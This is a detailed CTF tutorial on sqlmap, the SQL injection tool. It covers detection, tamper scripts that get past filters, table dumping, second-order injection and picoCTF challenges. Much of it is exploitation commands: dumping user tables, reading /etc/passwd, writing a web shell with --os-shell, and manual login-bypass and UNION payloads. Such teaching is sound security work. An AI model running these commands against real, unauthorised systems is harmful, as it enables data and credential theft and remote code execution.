Introduction
If a CTF web challenge has a SQL injection and you have already confirmed it with a single quote, this is the command that finishes it:
sqlmap -r request.txt -p q --batch --dump-all --exclude-sysdbs
Save the request from Burp or DevTools, name the parameter, walk away, come back to a CSV of every table. That is the whole tool on a good day, and on a good day it takes ninety seconds. The rest of this guide is about the other days, because in CTFs the other days are most of them.
sqlmap is not a scanner that finds injections for you. It is an exploitation engine that is very good at the part after you found one.
That distinction is where people lose hours. A challenge author writes a deliberately small, deliberately weird application, sqlmap probes it with payloads tuned for real production stacks, gets nothing, and prints all tested parameters do not appear to be injectable. The reflex is to conclude there is no injection. Usually there is one, and sqlmap simply never sent the payload that would have worked. Knowing which knob makes it send that payload is the actual skill.
' OR 1=1-- works. If you do not, read SQL Injection for CTF first and come back. Automation on top of a technique you cannot do by hand is a trap: you will not be able to tell a false negative from a real one.Three ways to read this
| You want | Read |
|---|---|
| The command, now | The intro above, then Quick reference |
| It says not injectable and you disagree | When it finds nothing and tamper scripts |
| To actually understand the tool | Top to bottom. Roughly twenty minutes |
The first run
sqlmap is a single Python program with no compiled dependencies, which is why it is everywhere. Any of these works:
sudo apt install sqlmap # Debian, Ubuntu, Kalipipx install sqlmap # isolated, always currentgit clone --depth 1 https://github.com/sqlmapproject/sqlmap.gitpython sqlmap/sqlmap.py --version
Prefer the git clone or pipx if you can. Distribution packages lag, and tamper scripts plus DBMS fingerprints are exactly the parts that improve between releases.
The three shapes of a target, in the order you will meet them:
# 1. A GET parametersqlmap -u 'http://target:1337/search?q=test' --batch# 2. A POST bodysqlmap -u 'http://target:1337/login' --data='user=a&pass=b' --batch# 3. A saved raw request (the one you should almost always use)sqlmap -r request.txt --batch
test rather than an empty string in the parameter you want tested. sqlmap injects around the existing value, and some applications short-circuit on an empty parameter before the query is ever built, so an empty one gets you a clean, fast, completely meaningless negative.How sqlmap decides
Understanding the detection loop is what lets you diagnose a failure instead of guessing at flags. For every parameter in scope, sqlmap builds a payload, sends it, and compares the response against a stored baseline. Six techniques, selected with --technique, and each letter means something:
| Letter | Technique | What it needs from the app |
|---|---|---|
| B | Boolean-based blind | The response must visibly differ between a true and a false condition. Any difference will do: a row that appears, a word that vanishes, a changed status code |
| E | Error-based | The app must reflect database error text back to you. Fastest extraction there is when available, and the first thing a challenge author turns off |
| U | UNION query | The injected query's results must reach the page, and the column count must match. The technique that dumps a table in one request |
| S | Stacked queries | The driver must allow multiple statements per call. Rare in PHP with MySQL, normal in PostgreSQL and MSSQL. This is the technique that gets you writes and OS access |
| T | Time-based blind | Nothing at all, except that the app waits for the query. The last resort, and slow: roughly one request per bit |
| Q | Inline queries | A subquery whose result lands directly in the returned value |
Default is all six, which is right for a first pass and wrong for the second. Once you know the shape of the target, pinning the technique cuts the request count by an order of magnitude:
# You can see query results on the page: go straight for UNIONsqlmap -r request.txt --technique=U --batch# Login form, no output, page just says yes or no: boolean onlysqlmap -r request.txt --technique=B --batch# Nothing reflects and nothing changes. Time-based, and be patientsqlmap -r request.txt --technique=T --time-sec=3 --batch
--time-sec wait, so a 30-character flag is on the order of 240 requests that each block for seconds. If you find yourself here, spend five minutes looking for a boolean oracle first. There almost always is one.Two more flags belong in this section because they turn a black box into something you can reason about. -v 3 prints every payload sqlmap sends, and --parse-errors pulls DBMS error text out of the response and shows it to you even when sqlmap does not act on it. When a run behaves strangely, these two are the answer, not another flag guess.
sqlmap -r request.txt -v 3 --parse-errors --batch
Give it a real request
The single change that fixes the most failed sqlmap runs in CTFs is switching from -u to -r. A raw request file carries the session cookie, the content type, the CSRF token, the custom header the app requires, and the exact body encoding. Reconstructing all of that on the command line is how people end up scanning a login redirect for an hour.
Get one from Burp with right-click, Copy to file, from your browser DevTools with Copy as cURL and a quick reshape, or by hand. The format is just HTTP:
POST /search HTTP/1.1Host: target:1337Content-Type: application/x-www-form-urlencodedCookie: session=eyJ1c2VyIjoiY3RmLXBsYXllciJ9q=test&category=all
Then point sqlmap at it and name the parameter you actually care about:
sqlmap -r request.txt -p q --batch# Mark the spot explicitly when the parameter is in a path or a header# sqlmap injects wherever it sees the asterisk# GET /product/12*/reviews HTTP/1.1sqlmap -r request.txt --batch
That asterisk is underused. It works anywhere in the file, including inside a JSON body, a path segment, a cookie value, or a custom header, which covers the API-shaped challenges that a plain -u cannot express at all.
Applications that mint a fresh CSRF token per request will fail every payload after the first unless you tell sqlmap where the token is. It handles this natively:
sqlmap -r request.txt --csrf-token=csrf --csrf-url='http://target:1337/form' --batch
Routing the whole thing through Burp is also worth the twenty seconds it takes. You get a readable log of every request and response, which is how you notice that the app has been returning 429 for the last four hundred payloads.
sqlmap -r request.txt --proxy='http://127.0.0.1:8080' --batch
For the wider Burp workflow that produces these request files, see Burp Suite for CTF. For finding the injectable endpoint in the first place, web recon and HTTP for CTF cover the ground before this one starts.
Level and risk
These two options are misunderstood more than any other pair in the tool, partly because the names suggest a single dial from gentle to aggressive. They control different things.
| Option | Range | What it changes |
|---|---|---|
| --level | 1 to 5 (default 1) | Where and how much it tests. Each step opens more injection points and more payloads. The Cookie header is only tested at level 2 or above, the Referer at 3 or above, and the Host header at 5 |
| --risk | 1 to 3 (default 1) | How dangerous the payloads are. Risk 2 adds heavy time-based queries. Risk 3 adds OR-based payloads, which can match every row in a table. Against an UPDATE statement that means rewriting the whole table |
--level freely and raise --risk only when you have a reason and the target is a read-only search endpoint.Those numbers deserve to be concrete, because "more aggressive" does not convey the size of the jump. sqlmap builds each test by pairing a payload with a boundary, the prefix and suffix that close the surrounding SQL. Counting both out of the definition files the tool ships with:
| --level | Payloads | Boundaries | Combinations per parameter |
|---|---|---|---|
| 1 | 28 | 5 | 140 |
| 5 | 363 | 53 | 19,239 |
That is before multiplying by how many parameters are in scope, which is why a level 5 run against a slow instance can outlast solving the thing by hand. It is also why level 5 finds what level 1 misses: at the default you are seeing well under one percent of what sqlmap knows how to send.
The practical escalation, and the order I actually run them in when a first pass comes back empty:
# 1. Default, fast, confirms the easy casesqlmap -r request.txt --batch# 2. Widen the surface. This is the one that finds cookie injectionssqlmap -r request.txt --level=5 --batch# 3. Tell it what the backend is. Skips thousands of wrong-dialect payloadssqlmap -r request.txt --level=5 --dbms=sqlite --batch# 4. Only now, and only if the endpoint is a readsqlmap -r request.txt --level=5 --risk=2 --batch
information_schema, no SLEEP(), and no stacked-query support through most drivers. Without --dbms=sqlite, the majority of the payload budget is spent on MySQL and MSSQL syntax that could never have worked, and detection can time out before it reaches the ones that would.The extraction ladder
Once detection succeeds, sqlmap prints the payloads it confirmed and remembers them. Everything after that is enumeration, and it goes in this order.
--banner # DBMS version string. Confirms the fingerprint--current-db # name of the database in use--current-user # the account the app connects as--is-dba # can it read files and run commands?--dbs # every database on the server--tables -D app # tables in one database--columns -T users # columns in one table-T users -C user,pass --dump # just the two columns you want--dump-all --exclude-sysdbs # everything the app owns, nothing built in
In a CTF the databases are tiny, so --dump-all --exclude-sysdbs is usually the right move and finishes in seconds. Against anything blind it is not, because blind extraction costs requests per character and dumping a table you do not need can be thousands of them.
When you know what you want, skip enumeration entirely and ask a question. This is the flag I reach for most and it barely appears in tutorials:
sqlmap -r request.txt --sql-query="SELECT flag FROM secrets LIMIT 1" --batch# SQLite: no information_schema, so enumerate through the master tablesqlmap -r request.txt --sql-query="SELECT name,sql FROM sqlite_master WHERE type='table'" --batch# An interactive prompt, when you want to poke aroundsqlmap -r request.txt --sql-shell
A grep across everything is often faster than reading schemas, especially when the flag column is named something unhelpful:
sqlmap -r request.txt --search -C flag --batch # column names containing 'flag'sqlmap -r request.txt --search -T secret --batch # table names containing 'secret'
--hex so values transit as hexadecimal and get decoded locally, or --no-castwhen sqlmap's automatic casting is what corrupted them. Binary blobs and non-ASCII flags need this.Sessions, caching, and resuming
sqlmap keeps a per-target SQLite session file and writes results under an output directory whose path it prints at the end of every run. That cache is why the second run is instant, and it is also why a stale run can lie to you for an hour.
| Flag | Use it when |
|---|---|
| --flush-session | The target changed: new instance, new port, new session cookie, the author patched something. This is the fix for "it worked yesterday and now it finds nothing" |
| --fresh-queries | You want the injection points kept but the extracted data re-fetched. Faster than a full flush when the database contents moved |
| --purge | Wipe the whole output directory. The nuclear option, occasionally the correct one |
| -s session.sqlite | Pin the session file somewhere you control, so a long blind dump survives a reboot |
| --output-dir=./out | Keep artifacts inside the challenge directory instead of a global cache. Worth doing on principle during a competition |
Blind extraction is resumable, which matters more than it sounds. Interrupt a time-based dump with Ctrl-C, restart the same command, and it picks up from the characters it already recovered rather than starting over. Add --threads=8 for blind work too: it parallelizes the per-character requests and is the single biggest speedup available.
sqlmap -r request.txt --technique=B --threads=8 -T users --dump --batch
When it finds nothing
Here is the section that earns the guide. sqlmap says the parameter is not injectable, you are fairly sure it is, and now you need a procedure rather than a hunch. Work down this list. Each step is cheap and each one has actually been the answer for me at least once.
| # | Check | Command or fix |
|---|---|---|
| 1 | Are you even reaching the endpoint? | Proxy through Burp and read the responses. A 302 to /login on every request means your cookie is dead and you have been fuzzing a redirect |
| 2 | Stale session cache | --flush-session |
| 3 | Wrong or unnamed parameter | -p param, or put a * exactly where the value goes in the request file |
| 4 | Surface too narrow | --level=5 |
| 5 | Wrong dialect | --dbms=sqlite (or mysql, postgresql, mssql) |
| 6 | Wrong quoting context | The value may sit inside LIKE '%...%' or in parentheses. Force the wrapper with --prefix and --suffix |
| 7 | The difference is invisible to the diff engine | Tell it what true looks like: --string="Welcome", --not-string="Invalid", or --code=200 |
| 8 | Rate limiting or an IPS eating the traffic | --delay=1 --threads=1 --random-agent |
| 9 | A filter is rewriting the payload | Tamper scripts. See the next section |
| 10 | The parameter is signed, hashed, or encoded | --eval="import hashlib;h=hashlib.md5(id).hexdigest()" |
Items 6 and 7 deserve expanding, because between them they cover most genuine false negatives in hand-written challenge apps.
Forcing the quoting context
sqlmap guesses the boundary characters around your injection point. When the query is SELECT * FROM p WHERE name LIKE '%INPUT%', a payload that closes with one quote leaves a dangling % and errors out every time. Tell it explicitly:
sqlmap -r request.txt --prefix="%' " --suffix="-- -" --batch# Value inside a function call or parenthesessqlmap -r request.txt --prefix="') " --suffix="-- -" --batch
Naming the oracle yourself
Boolean detection works by response diffing, and it fails on pages carrying anything that changes every request: a timestamp, a CSRF token, a rotating banner. sqlmap has a normalizer for this and it is good, not perfect. When it fails, stop making it guess.
# 'Welcome back' appears only when the condition is truesqlmap -r request.txt --string='Welcome back' --technique=B --batch# Or the inverse, which is often the more reliable markersqlmap -r request.txt --not-string='No results found' --technique=B --batch# Or the app answers 500 on a true condition and 200 otherwisesqlmap -r request.txt --code=500 --technique=B --batch
Filters, WAFs, and tamper scripts
CTF authors love a blacklist. Spaces banned, the word UNION stripped, SELECT replaced with an empty string, quotes escaped by a regex that only understands one of them. A tamper script is a Python transform applied to every payload on its way out. The 75 that ship with sqlmap cover most of what a filter written in an afternoon can do.
| Script | Turns | Beats |
|---|---|---|
| space2comment | UNION SELECT -> UNION/**/SELECT | Filters that block the space character |
| randomcase | select -> SeLeCt | Case-sensitive keyword blacklists |
| between | A > B -> A NOT BETWEEN 0 AND B | Blocked comparison operators |
| equaltolike | a = 1 -> a LIKE 1 | A blocked equals sign |
| charencode | SELECT -> %53%45%4C%45%43%54 | Naive string matching before URL decoding |
| apostrophemask | ' -> %EF%BC%87 | Quote filters that miss the UTF-8 fullwidth form |
| versionedkeywords | UNION -> /*!UNION*/ | MySQL only. Comment syntax MySQL executes and filters ignore |
They chain, left to right, and chaining is normally what works:
sqlmap -r request.txt --tamper=space2comment,randomcase,between --batch# See what each one actually producedsqlmap -r request.txt --tamper=space2comment -v 3 --batch# List every tamper script your install ships, with a one-line descriptionsqlmap --list-tampers
OR, UNION, = and LIKE all gone, you assemble the string admin out of pieces with the concatenation operator. Reaching for sqlmap there is the wrong instinct. Knowing which challenges are tool-shaped and which are puzzle-shaped saves more time than any flag.Writing your own tamper is about twelve lines: a tamper(payload, **kwargs) function, a priority constant, and a file dropped next to the bundled ones. It is worth doing once, because it covers the case nothing bundled can. Irish-Name-Repo 3 is the perfect shape for it: the application rotates your input before building the query, so every payload arrives scrambled and nothing detects. Pre-rotate inside a tamper function and the entire tool works again against a target it could not touch a minute earlier. That is the general pattern, not a trick for one challenge. Any deterministic transform the app applies to input, a rotation, an encoding, a signature, a prefix, belongs in a tamper script rather than in your head.
Past the dump
Dumping tables is where most people stop, and for most CTF challenges that is correct because the flag is a row. When it is not, sqlmap goes considerably further, provided the database user has the privileges and the technique supports it.
--file-read=/etc/passwd # read a file from the DB server--file-write=shell.php --file-dest=/var/www/html/s.php--os-shell # upload a stager, get a command shell--os-cmd='id' # one command, no stager left behind
--os-shell writes a web shell to the target. On a shared CTF instance that is a real artifact that other players can find and use, and on some events it is against the rules. Prefer --file-read and --sql-query unless the challenge clearly wants code execution, and clean up after yourself if you use it.Two more modes worth knowing. If the challenge hands you the database file itself, which happens constantly in forensics-flavoured web challenges, sqlmap will talk to it directly and you skip the web layer entirely:
sqlmap -d 'sqlite3:///loot/app.db' --dump-allsqlmap -d 'mysql://user:pass@127.0.0.1:3306/app' --tables
And if you do not know where the injectable endpoint is yet, sqlmap can find candidate forms itself. It is a blunt instrument compared to real recon, but on a small challenge app it is one command:
sqlmap -u 'http://target:1337/' --crawl=2 --forms --batch
For anything larger, do the enumeration properly first. The web recon guide covers directory discovery and parameter mining, and file upload exploitation covers what to do with a write primitive once you have one.
Second-order injection
Second-order injection is the class sqlmap handles worst by default and handles fine once you tell it what is going on. The payload goes in at one endpoint, gets stored safely, and detonates later when a different endpoint reads it back into a query without re-escaping. Registration stores your username; the profile page interpolates it. Response diffing on the registration endpoint sees nothing, because nothing happens there.
# Inject at the registration endpoint, read the result from /profilesqlmap -r register.txt -p username --second-url='http://target:1337/profile' --batch# When the second stage needs its own method, headers, or bodysqlmap -r register.txt -p username --second-req=profile.txt --batch
Two practical notes. Each probe usually needs a fresh unique value, since registering the same username twice fails and every subsequent payload silently tests nothing, so add --randomize=username when the stored field must be unique. And the second request must actually trigger the vulnerable read, which is not always the page you first think of.
When to close the laptop on it
I want to be straightforward about the limits, because a guide that ends with "and then it works" is not honest about CTFs. There are whole categories where sqlmap is the wrong tool and persisting with it costs you the challenge.
| Situation | Why sqlmap loses | Do this instead |
|---|---|---|
| A length-capped filter puzzle | Its payloads are long and generic by design. A 25-character cap rules out every one | Hand-craft it. That is the challenge |
| The app is not really SQL | A hand-rolled parser or an ORM filter string that only resembles SQL | Read the source if you have it, and probe the parser's own grammar |
| Egress filtering on your network | University and corporate networks drop obviously malicious traffic, and you see unable to connect to the target URL for a target that loads fine in the browser | Run from the event's own shell or a VPS, or send one UNION by hand from the browser |
| One value behind one boolean | Detection alone costs hundreds of requests before extraction starts | Twenty lines of Python with requests and a binary search. Faster to write than the sqlmap invocation is to debug |
| NoSQL | Different query language, different injection model entirely | NoSQL injection, and nosqlmap if you want automation |
The fastest solvers are not the ones who know the most sqlmap flags. They are the ones who decide in thirty seconds whether this is a sqlmap challenge at all.
A useful heuristic: if the challenge name or description mentions a tool, automation is intended. If it mentions a filter, a blacklist, a character limit, or a "gauntlet", it is a puzzle and you should be writing payloads yourself. The SQL injection guide covers the manual side, and the SQL injection payload generator on this site will build both the sqlmap command and the manual UNION for you.
picoCTF challenges
Every SQL injection challenge in the archive, and an honest note on whether sqlmap is the right way in. Working through them in this order builds the judgment the previous section asks for.
| Challenge | Shape | sqlmap? |
|---|---|---|
| Sql Map1 | Authenticated search endpoint over SQLite, then an unsalted MD5 to crack. Named after the tool, and still the challenge where sqlmap most often refuses to connect | Yes, with --cookie, until it is not |
| Secret Box | Second-order: stored at one endpoint, executed at another | Yes, with --second-url |
| ORDER ORDER | Second-order again, harder: the payload is planted as a username at registration and fires when a report generator reads it back | Yes, with --second-req |
| More SQLi | Auth bypass, then full schema enumeration through SQLite | Yes |
| SQLiLite | Classic login bypass. One payload in a browser | Overkill |
| SQL Direct | A PostgreSQL prompt handed to you directly. No web layer at all | No, use psql |
| Irish-Name-Repo 1 | The introductory login bypass | Overkill |
| Irish-Name-Repo 2 | The same app with a keyword filter. A comment-style payload walks through it | Try --tamper |
| Irish-Name-Repo 3 | Input is transformed before it reaches the query, so the payload has to be pre-transformed to survive | Only with a custom tamper |
| Web Gauntlet 2 | An expanding keyword blocklist, beaten by building 'admin' with || concatenation | No, by design |
| Web Gauntlet 3 | The same blocklist, longer. Still || concatenation, now with = and LIKE gone too | No, by design |
| No Sql Injection | MongoDB operator injection. A different query language | No |
critical: unable to connect to the target URLagainst a host that loads fine in a browser one alt-tab away. It is usually the network, not the tool: university and corporate egress filtering drops traffic that looks like this. Run it from the event's own web shell, or send one UNION by hand from the search box. The backend is SQLite and the query returns two columns, so ' UNION SELECT name, sql FROM sqlite_master WHERE type='table'-- enumerates the schema without sqlmap ever connecting.Sql Map1 also ends in a hash rather than a flag, so it doubles as a hash cracking exercise, and the payload generator will build both the sqlmap invocation and that manual UNION for you. The full category ladder lives in the web exploitation roadmap.
Quick reference
# The one that solves most of themsqlmap -r request.txt -p param --batch --dump-all --exclude-sysdbs# Escalation when nothing is found, in ordersqlmap -r request.txt --flush-session --batchsqlmap -r request.txt --level=5 --batchsqlmap -r request.txt --level=5 --dbms=sqlite --batchsqlmap -r request.txt --prefix="%' " --suffix='-- -' --batchsqlmap -r request.txt --string='Welcome' --technique=B --batchsqlmap -r request.txt --tamper=space2comment,randomcase --batch# Ask a question instead of dumping a schemasqlmap -r request.txt --sql-query="SELECT name,sql FROM sqlite_master" --batchsqlmap -r request.txt --search -C flag --batch# Second ordersqlmap -r register.txt -p username --second-url='http://t/profile' --batch# Speed and stealth--threads=8 # parallel blind extraction--delay=1 --threads=1 # crawl past a rate limiter--random-agent # stop announcing yourself in User-Agent--proxy=http://127.0.0.1:8080 # watch it work in Burp-v 3 --parse-errors # see payloads and database errors# You have the database file itselfsqlmap -d 'sqlite3:///app.db' --dump-all
Related reading: SQL injection by hand for the payloads underneath all of this, Burp Suite for producing request files, HTTP for CTF for cookies and headers, NoSQL injection when the backend is MongoDB, authentication bypass and IDOR for what a dumped user table gets you, and hash cracking for the password column you just extracted.
Sources and further reading
Every flag and behaviour described above is documented by the project itself. Where the dialect matters, the vendor manual is the authority.
- The sqlmap repository and its Usage wiki. Every flag in this guide was checked against the argument parser in
lib/parse/cmdline.pyrather than from memory, the level thresholds againstlib/controller/controller.pyandlib/core/common.py, and the payload and boundary counts by counting<level>entries indata/xml/payloads/anddata/xml/boundaries.xml. Those counts move between releases; they were taken from the current master branch. - The tamper script directory. Every script is a short readable Python file carrying a doctest that shows exactly what it rewrites, which is where the examples in the table above come from. Reading three of them teaches you to write your own faster than any tutorial does.
- The OWASP SQL Injection Prevention Cheat Sheet for the defensive side, which is also the fastest way to understand why an injection exists in the first place.
- SQL As Understood By SQLite for
sqlite_masterand the dialect most small challenge apps actually run, and the MySQL INFORMATION_SCHEMA reference for the one they usually do not. - Burp Suite proxy history for capturing the raw request that
-rwants.
